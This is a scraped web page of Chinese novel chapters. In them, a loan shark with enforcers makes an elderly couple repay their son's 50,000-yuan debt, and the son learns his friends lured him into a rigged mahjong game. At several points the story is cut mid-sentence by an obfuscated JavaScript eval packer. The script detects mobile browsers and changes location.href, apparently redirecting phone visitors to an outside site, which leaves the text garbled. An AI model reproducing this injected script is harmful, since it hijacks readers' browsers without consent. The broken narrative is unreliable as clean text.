“你们是他父母？那这事儿就好办了。赵国亮欠我五万块钱，还款日期早过了。我现在找不到他人了，电话打过去是关机。没办法，我们就只能上门找人要钱了。”老大边说边从兜里拿出一张折叠的纸。 杨红翠一听“欠钱”、“五万块”，脑子嗡地一声，下意识就扑过去想抢那张纸：“不可能！我家儿子借钱从来都是跟我们说！他怎么可能跟你借钱？他……” 她话还没说完，老大身后的四个打手已经抢步上前，赶紧按住情绪激动的杨红翠。 看到老妇人的不认账和抵抗，老大似乎已经见惯了这种情形，抬起下巴示意手下把人放开，杨红翠腿一软，直接瘫坐在了地上。 赵兴强慌忙瞥了眼店外，幸好此时街上没什么人。他赶紧把妻子搀扶起来，低声安抚着，随后又转向老大，招呼他们进后面的小储物间：“几位……要不，我们进里屋说？外面……不方便。” 一进堆满杂物的储物间，老大就把那张纸条展开，直直地举到杨红翠眼前。杨红翠死死盯着那张纸，嘴唇哆嗦着，一个字也说不出来，最后扭过头去，不让人看见她的脸。其实杨红翠根本不识字，但是她认得“赵国亮”三个字，还有旁边那个鲜红的手印。她内心极度不想承认，眼前这阵势也让她明白事情有多严重。如果儿子没去借钱，人家为什么带着打手上门？ 老大随后又把欠条移到赵兴强眼前，赵兴强是识字的，白纸黑子，签字画押，确实是一张五万块的欠条，上面写着赵国亮三个字，画着手印。他脑子里飞快地转：会不会是伪造的？或者……是被逼着写的？ 他正心里想着先给儿子打个电话，确认情况是否属实时，对面的老大似乎又一次看透了他的心思。 “你们要是不信，现在就给你们儿子打电话问问，看是不是真有这回事。要不是他说家里有两个店子，有底子还钱，再加上有人作保。我看他样子也不像是赖账的人，我连利息都没要就借给他了。结果呢？他跟我玩失踪！我也没办法，只能找上门来了。”老大语气带着委屈，好像自己才是受害者。 赵兴强的手有点抖，掏出手机，哆嗦着按下儿子的号码。听筒里传来漫长的“嘟……嘟……”声，然后是冰冷的提示音：“您拨打的电话暂时无人接听……”他又接连拨了好几次，回应他的始终是忙音。 老大冷眼看着眼前两个老人惊慌失措的反应，根据既往经验，赵家父母应该没有和赵国亮串通。而且他把自己邀请到这里，明显就不想他人知道这件事。既然他们怕事，又不想声张，那就好办了。他话锋一转，语气“软”了下来： “我知道这事儿搁谁身上都难接受。但欠债还钱，天经地义，总得给我个说法吧？我那五万块也是辛苦钱，家里老婆孩子也等着这笔钱用呢。当时你儿子是摊上了急事儿，火烧眉毛了，我才把钱借给他救急。要不是我，他当晚能不能囫囵个儿走出那个门都难说！具体什么事儿，你们等他回来自己问吧，我也不给你们细说了。老话讲，父债子偿。反过来，子债父偿也一样的道理。叔，您看这钱……什么时候能给我？” 见对方语气“缓和”，赵兴强接过他递来的烟，捏在手里没点，声音带着恳求：“如果……如果真是我儿子借的，我们做爹妈的肯定认，肯定帮他还。但现在他电话打不通，总得让我们弄清楚到底怎么回事，你说是不是这个理？” “理是这么个理。”老大点点头，随即话锋又一转，带着明显的不满，“可你能保证你儿子啥时候接电话？他要是一直不接，我这钱岂不是打了水漂？永远要不回来了？” 显然，老大对这个解决方式不满意。 “那……那你要我们怎么办？” 一直沉默的杨红翠突然尖声插话，带着哭腔，“五万块啊！那是五万块钱！不是五块钱！我们怎么晓得……是不是你骗他签的？或者……或者根本是别人签的？” 老大见状依旧气定神闲，对这种场面游刃有余：“婶儿，你也知道这是五万块，不是五块钱啊。要不是你儿子白纸黑字借了我的钱，还摁了手印，谁吃饱了撑的大老远跑别人家上门讨债？” 他顿了顿，像是想起什么，从裤兜里掏出手机，“哦对了，我这还有你儿子借钱时拍的视频，录了音的。你们自己看看，听听，是不是他？” 他拿出手机，在众多视频文件中找到赵国亮那个，把音量调到最大。一个熟悉又带着点惶急的声音在狭小的储物间里响起： “我叫赵国亮，家住四川省临安县清泉乡白云村二组30号，我的身份证是510725198407014722。现在我向张军借五万块钱，限期十五天归还。立此为据。” 屏幕上，是儿子赵国亮那张有些浮肿、眼神躲闪的脸。 听着儿子亲口说出的话，看着视频里儿子的模样，杨红翠最后一丝侥幸也被彻底击碎。她猛地扑在赵兴强后背上，压抑的哭声再也忍不住，肩膀剧烈地抖动着。 “这下，你们该确信了吧？”老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788798|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大收起手机，声音又冷了下来。 赵兴强看着对方这架势，心知今天不给个说法就不会走了。事情总是要解决，但五万块，这个数字太大了，一时半会儿根本拿不出。他艰难地咽了口唾沫：“张老板，五万块不是小数目……您看，能不能宽限一个月？我去凑……” “一个月？”张军打断他，语气不容商量，“你刚才也听见了，你儿子借钱的期限是十五天，现在已经又过去半个月了。我这边也等着钱用，最多一个星期！” “一个星期……太短了。张老板，求你再宽限宽限，十五天！十五天行不行？我一定把钱凑齐！”赵兴强急得额角冒汗。 张军盯着赵兴强看了几秒，见这老两口虽然惊慌，但确实有替儿子兜底的意思，便点了点头：“行。就十五天。我看您也是实在人。” 见对方答应，赵兴强稍稍松了口气，赶紧谈着条件：“张老板，这十五天里，你们不能去我家，也不能在店铺门口招摇，不能打扰我们，更不能把这事儿到处说！十五天后，晚上十点，你到这个店里来，我把钱给你，你把欠条还我。” “没问题。”对面答应得很爽快，但话里依旧藏着刀子，“您说的我都答应。不过，老人家，您也得说话算话，可别学您儿子那样到时候又不见人影。要是十五天后晚上十点，我拿不到钱……”他意味深长地顿了顿，后面的话不言而喻，“那就只能按不还钱的规矩办了。” 客气中带着赤裸裸的威胁。张军说完，带着四个打手转身离开了店子，留下赵兴强和杨红翠在堆满杂物的昏暗小房间里，如同被抽走了所有力气，消化着这突如其来的晴天霹雳。 确认人走远了，杨红翠积压的情绪瞬间崩溃，她捶打着赵兴强，哭骂道：“我早就让你管管他！让你把他叫回来好好看着！你就是不听！现在好了吧？惹出这么大的事情！五万块啊！我们上哪儿去找这五万块啊……” 赵兴强被妻子推搡指责，心里也憋着火：“你还有脸怪我？从小到大，他那无法无天的性子还不是你给惯出来的？他刚离婚那会儿，整天灌猫尿，我就说让他去帮他二爸干段时间，吃点苦头，收收心！你倒好，非不让！非由着他！要是早点给他拴住，找点正经事做，他能出去惹这种祸吗？” 互相的指责让两人陷入了沉默，两人在这里生活了几十年，十里八乡那些□□的风气他们也是知道的。而且现在人家手里攥着白纸黑字的欠条和铁证如山的视频，再怎么都是自己理亏。骂完了，还得面对现实——怎么筹到这五万块钱？ 狭小的空间里陷入短暂的沉默，只有杨红翠压抑的啜泣声。 “都怪王秀梅那个丧门星！要不是她非要离婚，咱儿子能变成这样？她在咱家这些年，我们哪里亏待过她？她倒好，非要离，也不晓得给儿子灌了什么迷魂汤，离了婚还把他勾得魂都没了，整天要死不活的！都是她害的！” 杨红翠抬起头，眼里射出怨毒的光，好像找到了这场灾难的源头。 “对！就是她！”赵兴强也立刻找到了宣泄口，声音带着恨意，“要不是她闹离婚，亮娃能借酒浇愁？能出去胡混？能惹上这种阎王债？” 在共同的怨恨对象身上，老杨红翠和赵兴强似乎找到了片刻的喘息和一点扭曲的安慰。有了这个“敌人”，他们才能暂时放下彼此间的指责，勉强“同仇敌忾”地面对眼前的绝境。 然而，他们似乎从未真正反思过，赵国亮走到今天这一步，绝不是一天两天造成的。他每一次的任性妄为，背后是否都有父母的纵容和包庇？对他那些显而易见的恶习，他们可曾真正严厉地制止过？ 也许是因为在这个长子身上倾注了太多超出理智的期望和偏爱。比起赵智民和赵小英，赵国亮作为老大，几乎独占了父母的溺爱和纵容。这种无条件的袒护，早已超出了他们自己的想象。 52. 五万 五万块钱，是赵庭春去年在县城买房的首付。赵兴强也是头一回知道在县城买房大概需要多少钱，买房需要走什么程序。 赵庭春从县里的卫生院考到了县城里去，租房住了一年多，攒够了钱便决定在县城安家。她跑了好几个小区，看地段、比较着附近的学校和医院，最终定下一套。房子买好后，她还特意回来，给赵家的兄弟姐妹们介绍小区情况，说地段不错，建议大家手里稍微宽裕点的都可以去买一套，后面预计房价要涨。 她的弟弟赵庭冬，还有两个堂弟，后来都跟着买在了同一个小区。她也跟赵国亮他们提过，县城的教育条件终究比农村强，赵安然也快读小学了，买了房就能带孩子去城里上学。赵国亮和家里人想着，眼下在城里也没个正经工作，孩子也还小，等手头再宽裕点，孩子再大点再说，这事就搁下了。 如今，想到赵国亮几个月间打牌就输掉了整整五万块，赵兴强和杨红翠心里像被刀绞似的疼，又懊悔又憋屈。这钱，当初要是听了赵庭春的劝，拿去县城付个首付该多好！那好歹是个安身立命的窝。 这五万块钱怎么没的，赵兴强不用猜也知道，肯定是跟着村里那帮游手好闲的混子带去赌了，赌输的。自从看见儿子常和杨顺子那拨人混在一起打牌，他就有种不祥的预感，觉得儿子跟那些社会人混久了准出事。他最近正打算给儿子另找个正经活干，好把他从牌桌上拉下来。 只是万万没想到，这一天来得这么快。也许真像妻子念叨的，儿子是被离婚冲昏了头，才净干这些不着四六的事。 赵兴强心里一边想着这五万块出事的源头，一边盘算着手头的钱。 这些年，赵智民出去打工给他们打的钱，大概有三万左右。赵兴强原本是打算帮他攒着，等他后面盖房子的时候把钱拿出来用。赵小英了，帮着她舅妈卖早点，工资也没有那么高，但也省吃俭用给家里打了一万块，这笔钱也是预备着等小英出嫁时，给她置办嫁妆的。 这两笔加起来就有四万了。赵兴强自己手里还有一万多点的积蓄。这么一凑，五万块倒是够了，能拿去给孩子填窟窿。可赵兴强和杨红翠商量后，还是觉得干脆把那两个不景气的店铺转让出去算了。反正店也开不下去了，盘出去多少能回点本，不至于让家里一点存款都不剩。 “店开不下去，硬撑着也是亏，不如趁早盘了。”赵兴强抽着旱烟，闷声道。 杨红翠抹了把眼泪：“唉，也只能这样了。盘出去，好歹手里还能剩点，心里也踏实点。就是……就是这钱，攒得多不容易啊。”想到要动用孩子们的积蓄，她心里更是堵得慌。 两人看着存折上即将划走的数字，虽然肉痛，但解决的办法总算是有了，压在心头的那块大石头终于落了地。 钱的问题有了着落，赵国亮那边也终于有了动静。果然不出赵兴强所料，在他连续几天的电话轰炸下，儿子终于回了家。 他头发又长又乱，胡须也许久没有刮，大大的眼袋垂在眼睛下面，整个眼神疲倦。看着儿子潦草又疲惫不堪的样子，杨红翠心里真不是滋味。 赵国亮一进门，招呼也没打，就想回自己房间，似乎没什么要解释的。赵兴强憋了几天的火气“噌”地就上来了。他好像完全不懂父母的焦虑和揪心。他几步上前拦住儿子，声音带着压抑的怒意：“你给我站住！那五万块钱，到底咋个回事？” “五万块，又是五万块！”听到这个数字，赵国亮心头就满腔怒火。这些天，所有人都拿这五万块威胁他，他觉得烦透了，只想逃避。“你们别管了！我自己会想办法解决！”他语气生硬，带着明显的不耐烦。 儿子的态度彻底激怒了赵兴强。他罕见地在儿子面前拿出了严父的威严，眼神锐利，声音陡然拔高：“你能解决？你要真能解决，还能让人带着打手堵到家里来要账？！你脾气大了啊，都能招惹上道上的人了！你拍拍屁股躲了，你想过我和你妈咋个办吗？想过安然怎么办吗？” 听着父亲的责骂，他身体一僵，颓然地坐到竹沙发上，双手深深埋进头发里，肩膀垮了下来。过了许久，他才像从一场噩梦中挣脱出来，声音沙哑地开了口：“那五万块……其实是我帮杨顺子贷的款。是他输给刀哥的，他没钱还。他爸早死了，妈改嫁到外地不联系了，唯一的爷爷瘫痪在床靠低保活着，根本拿不出钱。如果不还钱，刀哥……刀哥就要拿他一条胳膊抵债……” “所以你就替他贷了款？！”杨红翠听到儿子的话真的气得哭了出来，捶打着儿子的肩膀，“我的傻儿子啊！你这是要我的命啊！你为了他，连自己都不顾了？这钱是你贷的，字是你签的！人家追债找的是你，不是他杨顺子！你脑壳昏掉了啊？” 赵兴强也是又气又恨，指着儿子，手指都在发抖：“我……我真是不晓得说你啥子好！你平时的脑子去哪里了？啊？这种浑水你也敢趟？” “杨顺子是被刀哥他们做局坑了，他说他手里有刀哥的把柄。他说他后面能把这钱弄回来，一拿到钱就还我。”赵国亮没有抬头，试图辩解。 “社会上的混子说话也能信？这是顺子和刀哥之间的恩怨，你就不该往自己身上揽！”赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788799|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴强气得直拍桌子。 “把柄？啥子把柄？你倒是说清楚！”杨红翠紧跟着追问。老两口对杨顺子这种混子本就没好感，现在更是恨得牙痒痒，觉得他坑惨了自己儿子。 “刀哥手头有人命。” 这句话让赵兴强和杨红翠瞬间惶恐不安。虽然在这乡镇上，混子打架斗殴、砍人放血的事情时有耳闻，但大部分还是发生在他们内部，都是社会团体之间的事情。这些人手头占点血也是常见的，不过大多数都进去了，出来后也没有那么胆大。像刀哥这种手里有人命但还没进去，还那么招摇的，还是少之又少。 虽然清泉乡是个偏远山区，但现在终究还是新中国的法治社会。 儿子现在居然跟这些人扯上联系，这让赵兴强和杨红翠无比担惊受怕。 赵兴强颤抖着手点燃了烟筒里的烟草，深深吸了一口，辛辣的烟雾似乎压下了些许心悸。他问出了关键，也是赵国亮此刻最焦心的问题：“那……那杨顺子人呢？他现在在哪？” “……不晓得。”赵国亮的声音低得几乎听不见。 杨红翠一听，咒骂声又响起：“杨顺子这人绝对是跑了，真的不是个东西，他绝对把你骗了。” “那你现在打算咋办？”赵兴强看着儿子始终低垂的头，心里已经明白了七八分，人肯定是找不到了。 等不到儿子的回答，杨红翠又是心疼又是气恼：“唉！怪不得没爹没妈教！你就不该跟这些人搅和在一起！现在……现在只能认栽了！” 赵兴强重重叹了口气，像是下定了决心：“行了，明天晚上，我跟你妈把家里的钱凑一凑，先去替你把钱还了。这事儿就这么了结，到此为止。你也该长长记性了，以后离那些不三不四的人远点。” 他顿了顿，看着儿子颓丧的样子，又补充道：“另外，你那两个店，抓紧时间看看怎么盘出去。手头得回点活钱。” 还钱那天，赵国亮没有露面。杨红翠和赵兴强去银行取了现金，五捆崭新的百元钞票，厚厚地摞在桌子上。对面还是上次来家里催债的张军和四个打手。他面无表情地拿起钱，熟练地捻开看了看，塞进随身的挎包里。随后，他掏出那张欠条，放在桌上，又当着老两口的面，掏出手机，把里面存着的催债视频删除了。 “钱清了，条子在这。两不相欠。”张军丢下一句话，转身走了。 看着张军的背影消失在门外，老两口紧绷的神经终于松弛下来。回去的路上，两人不约而同地长舒一口气，杨红翠喃喃道：“今晚……今晚总算能睡个安稳觉了。” 53. 真相（1） 接下来的一个月，杨红翠默默观察着儿子。他每天老老实实待在家里，不再出去打牌，按时去店里忙着转让的事情，回到家也帮着干点农活。除了变得沉默寡言，话少了许多，倒没再出什么幺蛾子。 没过多久，两个店铺都转让出去了。老两口也不知道儿子用了什么法子，把店里的存货都清空了。他把盘店得来的钱，厚厚一沓放在老两口面前的饭桌上，依旧没说什么，转身就回了自己房间。 看着桌上那沓钱，赵兴强和杨红翠心里总算宽慰了些。一来，家里多少又有了点积蓄，心里踏实；二来，觉得儿子经历了这场风波，似乎真的沉稳懂事了些。 那五万块，就当是花钱买了个教训吧！只要儿子人没事，比啥都强。 隔天，杨红翠听说河对面杨顺子的爷爷死了。赵国亮说他想去一趟，赵兴强没反对，但杨红翠心里却七上八下的。儿子想要去找杨顺子，那刀哥他们会不会也去？万一又撞上了怎么办？ “办丧事呢，他还敢闹事？他怕不是翻了天了。”赵兴强不以为然。在他们这地方，无论是老一辈还是年轻人，都恪守着“死者为大”的老规矩。天大的事，在丧事面前都得让路。 杨顺子是河对面村的人。他虽然混社会，但在村里也是个正经村民。村里的红白喜事、大事小情，他都出力帮忙。村里人其实并不觉得他平时打架斗殴有什么出格，在他们看来，那不过是他的一种谋生手段而已。相反，提起他，大家更多的是唏嘘和同情。 杨顺子三岁没了爹，五岁那年妈改嫁到外地，从此杳无音信。他从小捡垃圾、帮人干零活长大。十岁那年，奶奶也走了，只剩下他和残疾的爷爷相依为命。上初中后，他就开始跟着社会上的人混，给人看场子、当打手。初中毕业后就在县城游戏厅当保安，干的都是些不务正业的营生。 早些年，他们村里人要去城里置办点东西，都是托杨顺子捎带回来。谁家孩子在学校被欺负了，或者在外面被小混混勒索了，也常去找他出面。所以，在村里人眼里，杨顺子其实是个讲义气、能办事的“好孩子”，只是命太苦。 眼看到了二十多岁该成家的年纪，没想到爷爷又摔断了腿，常年瘫在床上。真是屋漏偏逢连夜雨。为了给爷爷治病买药，杨顺子开始给赌场看门，身上经常带着血回来，村里人也渐渐习以为常。 赵国亮抬头环顾着眼前这座破败低矮的瓦房，这不是他第一次踏进杨顺子的家门，但现在感觉房子好像更破烂了许多。他在院子里坐了一下午，听着村里几位老人七嘴八舌地讲述杨顺子从小到大的坎坷经历，心里像打翻了五味瓶，很不是滋味。 杨顺子在村里确实攒下了好人缘。虽然现在谁也找不到他，但全村人还是自发地集中起来，帮忙把他爷爷的丧事从简办了。大家似乎都心照不宣地默认杨顺子肯定是摊上大事了。混那条道的，都是刀口舔血，人回不来，要么是跑路了，要么……估计是没了命，下去跟他爹、爷爷奶奶团聚了。 听着这些叹息和议论，赵国亮心里更堵得慌。他不禁想，如果杨顺子不是生在这样的家庭，他的人生会不会完全不同？ 没找到杨顺子，这在赵国亮意料之中。但他却意外地看到了一个“老熟人”——他的另一个“兄弟”，许耀刚。 两人目光对上的一刹那，许耀刚明显心虚了，飞快地低下头，装作没看见。擦肩而过时，他才压低声音飞快地丢下一句：“亮哥，是我对不住你。以后你有用得着我的地方，我一定还你这个人情。”说完，便匆匆离开。 赵国亮面无表情地看着许耀刚消失的方向，比起杨顺子的失踪，此刻他心中翻涌的更多是对许耀刚的恶心和鄙夷。 离婚后那段浑浑噩噩的日子，就是刚子和顺子一直陪着他。消沉了一段时间后，两人就撺掇他去隔壁镇看人赌博，说那边新开了局，热闹。 那边的赌局确实比清泉乡的野得多，花样也多，人也杂。赵国亮跟着玩了几次，就输了好几千块，终于有点清醒了，觉得不能这样下去，想拉着两人走。 开始几次，刚子和顺子还是听劝，小打小闹，输得差不多了就收手。但后来，两人开始背着他单独去玩。那段时间，赵国亮就一个人窝在游戏厅打游戏、玩台球。 有一天，许耀刚又给他打电话，火急火燎地说：“亮子！快来！三缺一，凑个人头！”赵国亮本不想去，推说不想玩大的。许耀刚在电话那头信誓旦旦：“真不大，就打麻将。就我们几个，你来了，咱仨正好吃条‘鱼’，回点本就撤！” 鬼使神差地，赵国亮又去了。 到了那个熟悉的麻将馆，当晚确实没玩炸金花、“推二八”那些大场子，看起来就是个普通麻将馆。此时，顺子他们已经在牌桌上了。四个人打麻将，许耀刚和杨顺子坐对家，另外两人看着年纪和他们相仿，一个微胖，脸上总挂着笑，看着挺和善；另一个瘦些，皮肤黝黑，眼神带着和顺子相似的狠劲儿。 经介绍，胖子叫胖哥，瘦子叫辉子。刚打了几圈，辉子就接了个电话，嚷嚷着家里有急事，得走，让赵国亮顶上。胖哥笑呵呵地说“没事没事，救场如救火”。赵国亮看着一脸和气的胖哥，又看看给自己使眼色的刚子和顺子，心想这“鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨顺子梗着脖子，一副豁出去的样子：“要钱没有！要命一条！”这话像盆冷水，把赵国亮彻底浇醒了。 一旁的许耀刚吓得脸色发白，哆嗦着提议：“刀……刀哥，别动手！我们……我们能贷款！隔壁……隔壁就有放贷的张哥！”刀哥冷笑着示意手下，架着许耀刚和赵国亮就去了隔壁放贷的张军那里。 原本说好，许耀刚和赵国亮一人贷一半，凑够杨顺子的两万。可放贷的张军认识许耀刚，知道他信用差，是个“烂账”，死活不肯贷给他。所有的压力瞬间全压在了赵国亮一个人身上。 赵国亮心里也犹豫了下。看着被刀哥手下死死按住的顺子和吓得面无人色的刚子，他知道，今天不签这个字，这两人恐怕真不能全须全尾地离开。想了想还是算了，先走出去再说。他一咬牙，在借条上签下了自己的名字，一人扛下了五万的贷款。 54. 真相（2） 天蒙蒙亮，杨顺子骑着那辆破摩托，载着许耀刚和失魂落魄的赵国亮回清泉乡。把赵国亮送到影像厅门口时，杨顺子低着头，声音沙哑地说了句“亮子，对不住了”，许耀刚也含糊地附和了一句“兄弟……委屈你了”。不等赵国亮回应，摩托车便轰鸣着，飞驰离去。 昏昏沉沉的赵国亮一头栽倒在床上，连揣摩那两句“对不起”的力气都没有，瞬间沉沉睡去。这一夜发生的事情太多太乱，他根本来不及思考。 随后几天，赵国亮强打精神，想找许耀刚和杨顺子商量这五万块钱怎么办，毕竟放贷的只给了半个月的期限。三人碰了头，这笔钱对顺子来说，无异于天文数字，根本拿不出来。刚子虽然有个城里叔叔，但只要摊上事了，根本不会管他。三人里，家境相对最好的就是赵国亮，尽管结婚这些年虽然花销大，但之前有王秀梅精打细算，他自己那两万块，东拼西凑也许能勉强填上，但要他一下子拿出五万，绝无可能。 看出赵国亮的为难，杨顺子尤其过意不去。他实在不忍心，最后给他保证：“亮哥，这事儿因我而起，你别太愁了。我有办法解决，交给我！”说完，就拉着许耀刚匆匆走了。 时间一天天过去，转眼一周了。眼看着期限越来越近，赵国亮急得像热锅上的蚂蚁，抓心挠肝，整夜整夜睡不着觉。这段时间他每次给杨顺子打电话，那边都信誓旦旦：“放心，我有解决办法，快解决了，你再等等。” 解决办法？到底是什么解决办法不能让他知道？赵国亮心里的不安越来越重。 终于，在他不断的逼问下，杨顺子才在电话里坦白：“我从以前跟过的一个大哥那儿，搞到点刀哥的把柄。刀哥……他手里有人命案子！” 听到“人命”两个字，赵国亮腿一软，瘫坐在地上。他毕竟不是真正的道上人，虽然结识很多社会人，但“人命”这种事，对他而言太过遥远和惊悚。 既然杨顺子说有办法，还握住了刀哥这么大的把柄，抱着这样思想的赵国亮，心里稍微安稳了些。但临近最后期限，他猛然意识到，杨顺子要是真拿刀哥的命案去威胁对方，那刀哥能甘心放过他？顺子会不会被灭口？自己和许耀刚作为知情人和“兄弟”，会不会也被牵连？ 一些可怕的画面不受控制地闪现在他脑海里。不行！得赶紧阻止顺子！这太危险了！ 他疯狂地拨打杨顺子的电话，一遍，两遍，十遍……无人接听，最后变成了关机。他又打许耀刚的，同样无人接听，最后也关了机。 “糟了！”一股巨大的不祥预感笼罩了赵国亮。他冲出去，骑上摩托，直奔杨顺子他们常去的几个地方，也问遍了和他们相熟的人，都说没看见。最后，他心一横，直接去了上次那个噩梦般的麻将馆。 还没进门，就在巷子转角的墙根下，看到一个稍微年长一些的大哥蹲在那里抽着烟，一根接着一根，脚边已经散落了一堆烟头。好像有点眼熟，应该之前也是这个麻将馆的常客。 同是天涯沦落人？赵国亮心里苦笑。他把摩托车停在路边，走过去，在他旁边坐着，也默默掏出烟点上，一根接一根地抽。两人很默契的谁都没说话，只有烟雾在沉默中缭绕。 直到脚边的烟头又堆起一小撮。 看了一眼身边这个眉清目秀却一脸愁容的年轻人，王伟掐灭手里的烟蒂，叹了口气：“小伙子，听哥一句劝，这种地方，沾上了就是一身腥，甩都甩不掉。里头啊，水太深，都是假的。” 赵国亮没想到，王伟接下来的话，像一道晴天霹雳，把他彻底击垮了，让他觉得自己像个小丑。他宁愿自己没听到，宁愿独自去扛那五万块的债，也不愿面对这个残酷的真相。 他踉踉跄跄地站起来，骑上摩托车，像疯了一样冲出去。他不甘心！他要找到许耀刚，找到杨顺子，当面问个清楚！要一个解释！ 结果，自然是一无所获。 回去的路上，他把油门拧到了底。引擎的轰鸣和刮过耳畔的冷风交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788801|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 织在一起，他试图用速度和噪音来压制内心被兄弟背叛的剧痛，泪水却不受控制地汹涌而出。自从离婚后，这是他第二次痛哭失声，两次痛苦竟如此密集，几乎将他彻底击碎。 王伟告诉他，这里面的麻将局，都是给人设套的。 “四个人坐一桌，看着互不认识。其实除了你，那仨都是一伙的。仨人做局吃你一个。输光了，没钱还，隔壁就是放贷的，一条龙服务。” 王伟的声音没什么波澜，却字字诛心。 赵国亮的世界瞬间崩塌了。他天真地相信兄弟的话，以为是他们三个人联手吃别人一个“鱼”，结果自己才是那条被分食的“鱼”。小丑……原来自己才是那个彻头彻尾的小丑！ 他怎么也想不通，自己把他俩当兄弟，结果换来的是兄弟的背叛。 果然如他所料，直到催债电话再次打来，许耀刚和杨顺子的电话也始终无法接通。两人就像人间蒸发了一样，消失得无影无踪。 他去了许耀刚的家，找遍了所有和许耀刚相熟的朋友，都没有任何消息。比起杨顺子，被高中好友许亲手推进火坑，这种背叛更让他痛彻心扉，恶心至极。 此刻，他想起了王秀梅曾经的苦口婆心，劝导自己不要和他俩去打牌了，自己迟早会被带入坑的。当时他只觉得她唠叨、管得宽，厌烦得很。如今回想，真是一语成谶。 王秀梅……一想到她，赵国亮心里涌起强烈的思念和悔恨。除了她，没有人会这样掏心掏肺地对他说真话，为他着想。可惜，当初的他太贪玩了，太沉迷于和“兄弟”们厮混的所谓义气和热闹，生生弄丢了她。如今，所谓的“兄弟”也把他抛弃了。 赵国亮无比的追悔莫及，可是现在又无能为力，面对这个烂摊子和锥心的背叛，他感到前所未有的无力。他不想接受现实，最终，他选择了最懦弱的方式——关掉手机，切断与外界的联系，躲进一个无人知晓的角落。 “我的人生……真的太失败了。” 55. 再婚（1） 离婚这一年，赵国亮遭遇了朋友的背叛，又耗光了父母大部分积蓄，转让了赖以谋生的店铺。接二连三的打击，彻底磨掉了他曾经的意气风发，整个人变得消沉、阴郁。而当他得知王秀梅在宁波改嫁的消息时，最后一点支撑他的精气神也被抽走了。 今年的春节，赵国亮过得格外憋闷。家里没了往年的热闹气氛。杨红翠和赵兴强似乎把心思都放在了给赵小英张罗对象上。 他瞥了一眼那个被介绍来的小伙子，木讷讷的，一看脑子就不灵光，说话都磕磕绊绊都，小英肯定不喜欢。其实他也不喜欢，但他现在心如死灰，根本提不起兴趣参与，也懒得关心。 赵智民自从前几年被催婚催烦了，父母见管不了，也就由着他去，想着让他先存钱把房子盖起来，这样找女孩子再谈婚事更实际。赵智民乐得自在，最近天天跟着李波在外面玩，连赵安然也跟着舅舅吃香喝辣，哭闹也减少了，似乎渐渐接受了妈妈和妹妹离开的事实。 好像所有人都往前走了，只有他自己，还深陷在过去的泥沼里，动弹不得。 这个年，他实在不想在家里待着。离婚后，那些曾经的“狐朋狗友”也都不见了踪影，好像他身上沾了什么晦气。前两天去参加了李超的婚礼，看着曾经以自己为中心的那帮朋友，如今全都围着李超转，他像个局外人，格格不入。 一个离婚的男人来参加婚礼，确实多多少少有点不合时宜吧。他自嘲地想。 但更让他心里翻江倒海的，是李超的变化。曾经的李超，人长得一般，个子也不高，还有点微胖，在他们那群人里一直是个不起眼的配角。而自己，曾是众星捧月的核心。他早已习惯了那种风光。可如今，看着李超人瘦下来了，穿着笔挺的西装，精神焕发。果然人逢喜事精神爽，他成了被人簇拥的主角， 自己呢？却沦为了角落里无人问津的配角。 这种巨大的落差，像一根刺，扎得他生疼，不甘心的情绪在心底蔓延。 他隐隐觉得，自己的“气运”似乎随着王秀梅的离开也一并消失了，从此诸事不顺。令他更震惊的是，他怎么也没想到，王秀梅竟然这么快就改嫁了，还带着个孩子。 虽然他们已经离婚一年多了。 当杨红翠打电话告诉他这个消息时，他强装镇定，语气平淡地说了句“知道了”，便挂了电话。然而挂了电话后，内心久久不能平复。他无数次听赵安然哭着说想妈妈，想妹妹，闹着要带他去宁波。 经历了这一连串打击后，他不是没动过去找王秀梅复合的念头，但始终拉不下脸，也觉得自己没资格。 回想这段时间的努力，现在，一切都晚了。 春节刚过，赵小英和赵智民就收拾行李又外出打工了。看小英的样子，应该没有答应父母撮合的那门亲事。赵国亮闲在家里，听够了村里的闲言碎语，也受够了父母的唉声叹气，索性也离开了家，就去了市里。如今，唯一还把他当真正朋友的，大概只剩下吴梦霖了。 吴梦霖这些年稳扎稳打，从学徒到厨师，攒了钱后又自己开了一家小餐馆，还把父母接下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 